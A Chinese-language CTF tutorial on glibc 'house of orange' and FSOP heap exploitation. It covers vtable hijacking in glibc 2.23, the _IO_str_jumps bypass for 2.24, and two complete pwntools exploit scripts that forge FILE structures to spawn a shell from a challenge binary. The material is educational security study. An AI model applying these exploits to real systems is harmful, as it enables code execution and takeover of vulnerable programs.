io利用 house of orange
原理
house of orange可以说是开辟了io利用的先河,可以说,学习io,house of orange是绕不开的一个课题,io结构体分为两个部分
其中一个是由io_list_all所连接的三个结构体,他们分别是stderr,stdout和stdin
关于他们的结构以及利用,大家可以去看我的另一篇文章,就是说stdout结构体的利用的
我们今天要介绍的是另一个部分——虚表
也就是上面的vtable段
那什么是虚表,vtable(虚表)是一个用于支持多态性的技术。每个对象通过其类型的vtable指针调用正确的函数实现。在glibc中,vtable被用于IO_FILE结构的虚拟函数调度。然而,在某些情况下,恶意操控vtable可以实现任意代码执行。
我们来看看2.23的虚表源代码(2.23的虚表指针指向了一个叫_IO_jump_t的结构体)
// libio/libioP.h
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
/* We always allocate an extra word following an _IO_FILE.
This contains a pointer to the function jump table used.
This is for compatibility with C++ streambuf; the word can
be used to smash to a pointer to a virtual function table. */
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
extern struct _IO_FILE_plus *_IO_list_all;
也许你暂时一行都看不懂,但是没关系,我们暂时只做了解即可
我们问题在于怎么去进行劫持虚表,到底要劫持到哪里,这就要将今天的fsop技术了
fsop
FSOP(File Stream Oriented Programming)是一种劫持 _IO_list_all(libc.so中的全局变量) 来伪造链表的利用技术,通过调用 _IO_flush_all_lockp()函数来触发,该函数会在下面三种情况下被调用:
- libc 检测到内存错误时
- 执行 exit 函数时
- main 函数返回时
这里我们选择其中一条路
当 glibc 检测到内存错误时,会依次调用这样的函数路径:
malloc_printerr -> libc_message -> __GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW
static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
/* Avoid using this arena in future. We do not attempt to synchronize this
with anything else because we minimally want to ensure that __libc_message
gets its resources safely without stumbling on the current corruption. */
if (ar_ptr)
set_arena_corrupt (ar_ptr);
if ((action & 5) == 5)
__libc_message (action & 2, "%s\n", str);
else if (action & 1)
{
char buf[2 * sizeof (uintptr_t) + 1];
buf[sizeof (buf) - 1] = '\0';
char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
while (cp > buf)
*--cp = '0';
__libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
__libc_argv[0] ? : "<unknown>", str, cp);
}
else if (action & 2)
abort ();
}
程序检查到错误,先进入malloc_printerr函数里面,这是该函数的源代码,这个函数会调用libc_message函数进行打印错误信息
void
__libc_message (int action, const char *fmt, ...)
{
va_list ap;
va_start (ap, fmt);
_IO_vfprintf (_IO_stderr, fmt, ap);
va_end (ap);
if (action & M_ACTION_EXIT)
exit (2);
if (action & M_ACTION_ABORT)
abort ();
}
随后调用abort函数进行程序的终止
/* Cause an abnormal program termination with core-dump. */
void
abort (void)
{
struct sigaction act;
sigset_t sigs;
/* First acquire the lock. */
__libc_lock_lock_recursive (lock);
/* Now it's for sure we are alone. But recursive calls are possible. */
/* Unlock SIGABRT. */
if (stage == 0)
{
++stage;
if (__sigemptyset (&sigs) == 0 &&
__sigaddset (&sigs, SIGABRT) == 0)
__sigprocmask (SIG_UNBLOCK, &sigs, (sigset_t *) NULL);
}
/* Flush all streams. We cannot close them now because the user
might have registered a handler for SIGABRT. */
if (stage == 1)
{
++stage;
fflush (NULL);
}
/* Send signal which possibly calls a user handler. */
if (stage == 2)
...........
在glibc 2.23中,abort函数在终止程序时会调用_IO_flush_all_lockp函数,这是为了确保在程序退出前,所有的stdio流都被正确刷新,当程序调用abort时,首先会解除所有信号的阻塞状态,然后尝试刷新所有打开的文件流。这个刷新操作通过调用_IO_flush_all_lockp
来完成,它试图在不进行任何锁定的情况下刷新所有文件。这是为了避免在信号处理期间引发死锁问题。随后,如果有用户定义的SIGABRT信号处理程序,这个处理程序会被调用。最后,如果这些操作都没有成功终止程序,abort函数会执行一个系统特定的命令来强制终止程序,这样设计的原因是为了确保在程序意外终止时,尽可能多地保存和刷新输出数据,以防丢失。
当然,我们不需要知道这么多,只需要知道调用abort函数之前会调用_IO_flush_all_lockp函数就行
// libio/iofclose.c
int
_IO_new_fclose (_IO_FILE *fp)
{
int status;
CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
#endif
/* First unlink the stream. */
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp); // fp 指向伪造的 vtable
if (fp->_mode > 0)
{
#if _LIBC
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct _IO_codecvt *cc = fp->_codecvt;
__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.__cd.__steps);
__gconv_release_step (cc->__cd_out.__cd.__steps);
__libc_lock_unlock (__gconv_lock);
#endif
}
else
{
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_IO_file_flags = 0;
free(fp);
}
return status;
}
而我们的_IO_flush_all_lockp会刷新所有的io缓冲区,这个时候就会调用到虚表里面的IO_OVERFLOW函数
_IO_flush_all_lockp 会把 _IO_list_all作为链表头开始遍历,并把当前节点作为IO_OVERFLOW 的参数。IO_OVERFLOW 是 vtable 中的第四项。
int _IO_OVERFLOW (_IO_FILE *fp, int ch)
{
if (ch == EOF)
return EOF;
if (fp->_flags & _IO_NO_WRITES)
return EOF;
if (fp->_flags & _IO_LINE_BUF)
_IO_do_flush (fp);
*fp->_IO_write_ptr++ = ch;
if (fp->_IO_write_ptr >= fp->_IO_write_end)
return _IO_do_flush (fp);
return (unsigned char) ch;
}
_IO_OVERFLOW 实际上是调用文件流的 vtable 中的函数,因此如果我们伪造了 vtable,这里就会执行我们伪造的函数。
只要简单的绕过一下检查
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
我们把 fp的第一个参数改为 /bin/sh\x00 ,vtable->IO_OVERFLOW 改为 system 函数即可,最后执行_IO_OVERFLOW (fp, EOF)的时候就会执行system("/bin/sh"),绕过方法我们后面会说
house of orange 2.23
具体题目的ida我就不放了,我会把附件放在文章后面
简单来说,我们只有一次show的机会,还有堆溢出,没有free函数,剩下的没什么好说的了
那么前半部分就是要研究如何在没有free的情况下泄露出libc,因为这不是本文的重点,所以我们就简单的略过一下。
只要先利用溢出等方式进行篡改top chunk的size(会有检查,但是我们一般保留末三位),然后申请一个大于top chunk的size,这个时候top_chunk就会被free进unsortedbin里面,再利用一次show的机会,泄露出libc
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
libc=ELF('libc.so.6')
io=process('./pwn')
def dbg():
gdb.attach(io)
pause()
def add(size,content):
io.sendlineafter('Your choice : ',str(1))
io.sendlineafter('Length of name :',str(size))
io.sendafter('Name :',content)
io.sendlineafter('Price of Orange:',str(1))
io.sendlineafter('Color of Orange:',str(2))
def edit(size,content):
io.sendlineafter('Your choice : ',str(3))
io.sendlineafter('Length of name :',str(size))
io.sendafter('Name:',content)
io.sendlineafter('Price of Orange:',str(1))
io.sendlineafter('Color of Orange:',str(2))
def delete(index):
io.sendlineafter('4.show\n',str(2))
io.sendlineafter('index:\n',str(index))
def show():
io.sendlineafter('Your choice : ',str(2))
add(0x10,'a')
edit(0x40,b'b'*0x18+p64(0x21)+p64(0x0000002000000001)+p64(0)*2+p64(0xfa1))
add(0x1000,'c'*8)
add(0x400,'d'*8)
show()
libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3c5188
print(hex(libc_base))
io_list_all=libc_base+libc.symbols['_IO_list_all']
system=libc_base+libc.symbols['system']
edit(0x20,'e'*0x10)
show()
io.recvuntil(b'e'*0x10)
heap_base=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(heap_base))
到这里都不算难的,我们今天的重点就是后面的io利用
我们可以利用 unsorted bin attack 去劫持 _IO_list_all 指向 main_arena + 88 的位置处,但是其内容我们却不可控制,那我们把他看作 _IO_FILE 结构体,利用他的 _chain字段来指向我们可控的内存处,main_arena + 88 + 0x68 = main_arena + 0xC0 ,那里恰好储存着大小为 0x60大小的 small bin 的第一个 chunk 地址。所以我们把 unsorted bin 的 size 改为 0x60,然后再发生 unsorted bin 遍历的时候,这个 unsorted bin 就会链入 main_arena + 0xC0 处。
这个时候还有一个知识点,那就是我们的unsorted bin里面的堆块不会放进fastbin里面
现在来看看上面的检查怎么绕过
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
这个检查很容易就可以绕过,首先确保 mode 的值 <= 0,然后你需要确保 fp->IO_write_ptr > fp->_IO_write_base,这个也很简单,我们只需要伪造io的时候注意一下就可以了
接下来正式开始我们的攻击,因为我们是对当前堆块进行操作,也就是这个高亮的堆块
所以我们要通过溢出来控制到下面的unsorted bin里面的堆块
payload = b'd'*0x400 + p64(0) + p64(0x21)
payload+= p64(0) + p64(0)
到这里,就可以对我们的unsorted bin进行操作了
fsop = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all-0x10)
根据上面的思路,我们把bk改成了io_list_all,这样在完成unsorted bin attack的时候,io_list_all里面就会写入main_arena + 88,而正常来说,io_list_all里面记录的是stderr的地址,也就是说,我们把从mian_arena+88开始的这一部分当做了stderr,stderr的chain字段就在偏移为0x68的地方,指向的是stdout结构体,那mian_arena+88+0x68,刚好是smallbin[4],也就是大小为0x60的smallbin,如果我们把unsorted bin里面的这个堆块size改为0x61,那下次再申请堆块的时候,程序检查发现标志位是1,先会被放进small bin,再触发报错,刷新缓冲区,而现在这个堆块又会被当做stdout结构体,又可以在堆块里面伪造我们的io和虚表。
这个时候,从这个堆块的pre_size开始,会被当做flag字段,
fsop+= p64(0) #write base
fsop+= p64(1) #write ptr fp->_IO_write_ptr > _IO_write_base
fsop=fsop.ljust(0xd8,b'\x00')
vtable_addr = heap_base + 0x4f0 + 0xd8+8
fsop+= p64(vtable_addr)
fsop+= p64(0) #__dummy
fsop+= p64(0) #__dummy2
fsop+= p64(0) #__finish
fsop+= p64(system) #_IO_OVERFLOW
payload+=fsop
edit(len(payload),payload)
然后依次伪造,绕过检查,最后把虚表地址直接放在这个堆块后面的地址
可以看到,在下一次malloc的时候触发报错,同时完成攻击
2.24
相较于2.23那种肆无忌惮的位置,从2.24开始程序就对虚表进行了检查,我们在2.23任意地址伪造堆块都可以,但是在2.24之后,程序会检查你的虚表地址是不是在虚表的范围内
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
是否在 start_libc_IO_vtables 和 _stop___libc_IO_vtables 之间,这就极大影响了我们的构造,但是也有别的方法
因为虚表远不止一种,所以在虚表范围内也会存在很多种虚表,这次主要介绍_IO_str_jumps 这个虚表
pwndbg> p _IO_str_jumps
$1 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7f5e537abfb0 <_IO_str_finish>,
__overflow = 0x7f5e537abc90 <__GI__IO_str_overflow>,
__underflow = 0x7f5e537abc30 <__GI__IO_str_underflow>,
__uflow = 0x7f5e537aa610 <__GI__IO_default_uflow>,
__pbackfail = 0x7f5e537abf90 <__GI__IO_str_pbackfail>,
__xsputn = 0x7f5e537aa640 <__GI__IO_default_xsputn>,
__xsgetn = 0x7f5e537aa720 <__GI__IO_default_xsgetn>,
__seekoff = 0x7f5e537ac0e0 <__GI__IO_str_seekoff>,
__seekpos = 0x7f5e537aaa10 <_IO_default_seekpos>,
__setbuf = 0x7f5e537aa940 <_IO_default_setbuf>,
__sync = 0x7f5e537aac10 <_IO_default_sync>,
__doallocate = 0x7f5e537aaa30 <__GI__IO_default_doallocate>,
__read = 0x7f5e537abae0 <_IO_default_read>,
__write = 0x7f5e537abaf0 <_IO_default_write>,
__seek = 0x7f5e537abac0 <_IO_default_seek>,
__close = 0x7f5e537aac10 <_IO_default_sync>,
__stat = 0x7f5e537abad0 <_IO_default_stat>,
__showmanyc = 0x7f5e537abb00 <_IO_default_showmanyc>,
__imbue = 0x7f5e537abb10 <_IO_default_imbue>
}
其中的io_str_finsh函数可以起到类似的效果
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
IO_str_jumps 其中的 IO_str_finish 直到 libc-2.27 版本都是下面这种实现手段。也就是说,如果修改 ((IO_str file *) fp)->_s.free_buffer 为 system 地址,然后修改 fp->IO_buf_base 为 /bin/sh 字符串地址,然后触发程序执行 IO_str_finish 函数就可以得到 shell
libc-2.28 版本起 _IO_str_finish 不再调用 _free_buffer 而是直接是直接调用 free ,因此该方法失效。
要想触发程序执行 IO_str_finish 函数就需要将 vtable 指向 IO_str_jumps 往上的某个偏移,使得下一个要调用的 vtable 中的函数(最好是第一个被调用的函数,因为 vtable 已经被破坏)的位置恰好是 IO_str_finish
我们可以看出,若符合条件这个函数会把 (IO_strfile ) fp)->_s._free_buffer) 当作函数指针来直接调用,并且把 fp->IO_buf_base 当成他的参数。(IO_strfile ) fp)->_s._free_buffer) 从 IDA 里分析或者用 gdb 调试可知其实是 fp + 0xe8 的位置。那我们先把 vtable 的值改为 IO_srt_jums - 0x8 ,再把 fp + 0xe8 放上 system,_IO_buf_base 放上 /bin/sh 的地址,即可getshell。由于不需要伪造虚表,这里还并不需要泄露 heap_base。值得注意的是 _IO_str_jumps 并不是导出符号,这里我给出一个python的脚本,用以确定位置
def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
return possible_IO_str_jumps_offset
最后附上完整的exp
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
libc=ELF('libc-2.23.so')
io=process('./pwn')
def dbg():
#gdb.attach(io,'b *$rebase(0x13AF)')
gdb.attach(io)
def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
return possible_IO_str_jumps_offset
def add(size,content):
io.sendlineafter('Your choice : ',str(1))
io.sendlineafter('Length of name :',str(size))
io.sendafter('Name :',content)
io.sendlineafter('Price of Orange:',str(1))
io.sendlineafter('Color of Orange:',str(2))
def edit(size,content):
io.sendlineafter('Your choice : ',str(3))
io.sendlineafter('Length of name :',str(size))
io.sendafter('Name:',content)
io.sendlineafter('Price of Orange:',str(1))
io.sendlineafter('Color of Orange:',str(2))
def delete(index):
io.sendlineafter('4.show\n',str(2))
io.sendlineafter('index:\n',str(index))
def show():
io.sendlineafter('Your choice : ',str(2))
add(0x10,'a')
edit(0x40,b'b'*0x18+p64(0x21)+p64(0x0000002000000001)+p64(0)*2+p64(0xfa1))
add(0x1000,'c'*8)
add(0x400,'d'*8)
show()
libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3c5188
print(hex(libc_base))
io_str_jumps= libc_base+get_IO_str_jumps()
_IO_list_all = libc_base + libc.sym['_IO_list_all']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()
print(hex(io_str_jumps))
fsop = p64(0) + p64(0x61) + p64(0) + p64(_IO_list_all-0x10)
#unsorted bin attack makes _IO_list_all point to main_arena+88
#0x61 is aimed at making fake_chain (main_arena + 88 + 0x68) point to fake_IO_FILE (controllable area)
fsop+= p64(0) #write base
fsop+= p64(1) #write ptr fp->_IO_write_ptr > fp->_IO_write_base
fsop+= p64(0) #write end
fsop+= p64(binsh_addr) #buf base
fsop = fsop.ljust(0xd8,b'\x00')
fsop+= p64(io_str_jumps - 0x8) #vtable
fsop+= p64(0) #_IO_FILE + 0xE8
fsop+= p64(system_addr)
payload = b'd'*0x400 + p64(0) + p64(0x21)
payload+= p64(0) + p64(0)
payload+= fsop
edit(len(payload),payload)
io.recv()
io.sendline(str(1))
#dbg()
io.interactive()
参考连接
https://www.cnblogs.com/pwnfeifei/p/15806964.html
https://github.com/firmianay/CTF-All-In-One/blob/master/doc/4.13_io_file.md